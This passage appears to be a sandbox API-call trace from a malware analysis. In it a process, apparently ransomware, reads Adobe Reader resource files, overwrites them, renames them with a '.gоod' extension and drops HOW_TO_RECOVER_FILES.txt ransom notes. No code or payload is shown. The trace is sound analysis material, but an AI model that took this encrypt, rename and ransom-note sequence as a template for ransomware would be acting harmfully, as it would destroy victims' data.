SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0220.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0220.275] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\root\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\root\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0220.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0220.275] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\root\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x394a0b0 | out: lpFileInformation=0x394a0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6dc)) returned 1 [0220.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0220.275] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\root\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\root\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0220.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0220.275] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\root\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0220.275] GetFileType (hFile=0x860) returned 0x1 [0220.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0220.275] GetFileType (hFile=0x860) returned 0x1 [0220.276] GetFileSize (in: hFile=0x860, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x6dc [0220.276] ReadFile (in: hFile=0x860, lpBuffer=0x394ab38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x394ab38*, lpNumberOfBytesRead=0x203eb258*=0x6dc, lpOverlapped=0x0) returned 1 [0220.277] CloseHandle (hObject=0x860) returned 1 [0220.302] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\root\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\root\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0220.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0220.303] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\root\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0220.304] GetFileType (hFile=0x860) returned 0x1 [0220.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0220.304] GetFileType (hFile=0x860) returned 0x1 [0220.304] WriteFile (in: hFile=0x860, lpBuffer=0x39c4230*, nNumberOfBytesToWrite=0x6e0, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x39c4230*, lpNumberOfBytesWritten=0x203eb168*=0x6e0, lpOverlapped=0x0) returned 1 [0220.304] CloseHandle (hObject=0x860) returned 1 [0220.305] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\root\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\root\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0220.305] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\root\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\root\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x89 [0220.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0220.305] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\root\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x7f857b86, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6e0)) returned 1 [0220.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0220.305] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\root\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\root\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\root\\ui-strings.js.gоod")) returned 1 [0220.306] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\root\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\root\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8f [0220.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0220.306] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\root\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\root\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x860 [0220.306] GetFileType (hFile=0x860) returned 0x1 [0220.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0220.306] GetFileType (hFile=0x860) returned 0x1 [0221.730] WriteFile (in: hFile=0x860, lpBuffer=0x3745590*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x3745590*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0221.731] CloseHandle (hObject=0x860) returned 1 [0221.732] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0221.732] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru", lpFilePart=0x0) returned 0x77 [0221.732] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae00 [0221.732] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.732] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x97b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0221.732] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0221.732] FindClose (in: hFindFile=0x134ae00 | out: hFindFile=0x134ae00) returned 1 [0221.732] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0221.732] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0221.732] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0221.732] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru", lpFilePart=0x0) returned 0x77 [0221.733] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aec0 [0221.733] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.733] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x97b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0221.733] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x97b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0221.733] FindClose (in: hFindFile=0x134aec0 | out: hFindFile=0x134aec0) returned 1 [0221.733] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0221.733] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0221.733] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0221.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0221.733] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3755468 | out: lpFileInformation=0x3755468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x97b)) returned 1 [0221.734] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0221.734] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0221.734] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0221.734] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0221.734] GetFileType (hFile=0x860) returned 0x1 [0221.734] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0221.734] GetFileType (hFile=0x860) returned 0x1 [0221.734] GetFileSize (in: hFile=0x860, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x97b [0221.734] ReadFile (in: hFile=0x860, lpBuffer=0x3756190, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x3756190*, lpNumberOfBytesRead=0x203eb258*=0x97b, lpOverlapped=0x0) returned 1 [0221.736] CloseHandle (hObject=0x860) returned 1 [0221.764] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0221.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0221.764] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0221.765] GetFileType (hFile=0x860) returned 0x1 [0221.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0221.765] GetFileType (hFile=0x860) returned 0x1 [0221.765] WriteFile (in: hFile=0x860, lpBuffer=0x37d1b60*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x37d1b60*, lpNumberOfBytesWritten=0x203eb168*=0x980, lpOverlapped=0x0) returned 1 [0221.766] CloseHandle (hObject=0x860) returned 1 [0221.766] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0221.766] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0221.766] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0221.766] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x80659830, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x980)) returned 1 [0221.766] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0221.767] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru\\ui-strings.js.gоod")) returned 1 [0221.767] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0221.767] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0221.767] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x860 [0221.768] GetFileType (hFile=0x860) returned 0x1 [0221.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0221.768] GetFileType (hFile=0x860) returned 0x1 [0221.769] WriteFile (in: hFile=0x860, lpBuffer=0x37d5470*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x37d5470*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0221.769] CloseHandle (hObject=0x860) returned 1 [0221.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0221.770] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk", lpFilePart=0x0) returned 0x77 [0221.770] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b040 [0221.895] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.895] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x76e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0221.897] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, 